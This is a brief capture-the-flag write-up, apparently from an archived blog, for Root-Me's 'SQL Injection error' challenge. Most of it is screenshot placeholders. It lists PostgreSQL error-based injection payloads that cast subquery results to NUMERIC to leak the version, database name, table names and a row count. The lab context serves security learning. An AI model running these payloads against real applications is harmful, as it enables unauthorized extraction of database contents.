← CTF archive

· Earliest timestamped screenshot

[Root-Me] SQL Injection error

Screenshot

ORDER BY (page,1,2):

Screenshot

There are at least three columns.

Screenshot

Screenshot

Hint for the column names:

Screenshot

Columns found: id, user

# PAYLOAD POSTEGRESQL AFTER ORDER BY
#VERSION
(CAST(CHR(62)||(SELECT+VERSION())+AS+NUMERIC))
#DATABASE
(CAST(CHR(62)||(SELECT CURRENT_DATABASE()) AS NUMERIC))

(CAST(CHR(62)||(SELECT tablename from pg_tables LIMIT 1) AS NUMERIC))

# k = variable (0 à 50 ...)
(CAST(CHR(62)||(SELECT tablename from pg_tables LIMIT 1 OFFSET k) AS NUMERIC))

(CAST(CHR(62)||(SELECT COUNT(1) FROM m3mbr35t4bl3) AS NUMERIC))

Screenshot

Screenshot

Screenshot

https://exp-blog.com/safe/ctf/rootme/web-server/sql-injection-error/